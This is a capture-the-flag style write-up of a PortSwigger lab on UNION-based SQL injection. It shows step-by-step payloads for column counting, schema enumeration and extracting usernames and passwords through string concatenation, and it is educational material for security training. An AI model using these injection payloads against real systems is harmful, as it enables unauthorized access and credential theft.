Skip to content

SQL Injection UNION Attack — Retrieving Data from a Single Column

Field Value
Platform PortSwigger Web Security Academy
Vulnerability SQL Injection — UNION Attack
Difficulty Practitioner
Injection Point category URL parameter
Goal Retrieve all usernames and passwords from users, log in as administrator

Phase 1 — Reconnaissance

The application lists products filtered by category:

Refine your search: All | Food & Drink | Gifts | Lifestyle | Pets | Toys & Games
Screenshot

Phase 2 — Confirming Injection and Column Count

Adding a single quote to the category parameter caused a 500 internal server error — injection confirmed. ORDER BY enumeration showed the query returns 2 columns; ORDER BY 3 broke it:

/filter?category=Pets' ORDER BY 2 -- -
Screenshot

Phase 3 — Test Column Data Types

Testing both columns with string literals:

/filter?category=Pets' UNION SELECT 'a','a' -- -

This caused an internal server error — the first column does not accept strings. Testing with NULL in the first position:

/filter?category=Pets' UNION SELECT null,'a' -- -
Screenshot

This worked — only the second column accepts strings. The first column accepts NULL (compatible with any type) but not string literals, suggesting it is an integer or numeric column. This means all string data must be extracted through the second column only.

No FROM dual was required, ruling out Oracle. The information_schema path is available.

Phase 4 — Enumerate the Schema

Step 1 — List All Schemas

/filter?category=Pets' UNION SELECT null,schema_name FROM information_schema.schemata -- -
Screenshot

Schemas returned: public and pg_catalog — confirming PostgreSQL as the backend (pg_catalog is the PostgreSQL system catalog schema).

Step 2 — List Tables in public

/filter?category=Pets' UNION SELECT null,table_name FROM information_schema.tables WHERE table_schema='public' -- -
Screenshot

A table named users was found.

Step 3 — List Columns in users

/filter?category=Pets' UNION SELECT null,column_name FROM information_schema.columns WHERE table_schema='public' AND table_name='users' -- -
Screenshot

Three columns returned: username, password, and email. The target columns are username and password.

Phase 5 — Retrieve Credentials via String Concatenation

Only one column accepts strings, but two fields need to be retrieved. The solution is string concatenation — combining both values into a single string that fits in the second column. PostgreSQL uses || as the concatenation operator:

/filter?category=Pets' UNION SELECT null,username||' -> '||password FROM public.users -- -
Screenshot

Both username and password were returned in a single column, formatted as username -> password for readability. The administrator's password was visible in the output. Logging in with those credentials solved the lab.

Conclusion

  1. A single quote caused a 500 error; ORDER BY enumeration confirmed 2 columns.
  2. UNION SELECT 'a','a' -- - failed — the first column does not accept strings; UNION SELECT null,'a' -- - succeeded, confirming only the second column is usable for string output.
  3. The absence of FROM dual and the presence of pg_catalog in schema enumeration confirmed PostgreSQL.
  4. information_schema enumeration returned the users table with username, password, and email columns.
  5. String concatenation with || combined both credential fields into the single writable column, returning all credentials in one request.

Key Concepts

NULL for type-incompatible columns — when a column does not accept strings, using NULL satisfies the type requirement without causing an error. NULL is compatible with any data type in SQL, making it the safe placeholder for columns you cannot read string data from.

String concatenation when only one column is writable — if only one column reflects output, multiple values can be merged into it using the DB-specific concatenation operator:

Database Concatenation Syntax
PostgreSQL col1 \|\| 'separator' \|\| col2
Oracle col1 \|\| 'separator' \|\| col2
MySQL CONCAT(col1, 'separator', col2)
MSSQL col1 + 'separator' + col2

pg_catalog as a PostgreSQL fingerprint — just as FROM dual identifies Oracle, seeing pg_catalog in the schema list identifies PostgreSQL. Each engine exposes distinct system schemas that act as passive fingerprints during enumeration.

Separator choice matters — using a visible separator like -> or ~ between concatenated values makes parsing the output trivial. In automated scenarios, a separator unlikely to appear in the data (like ~ or |||) avoids ambiguity when splitting the result.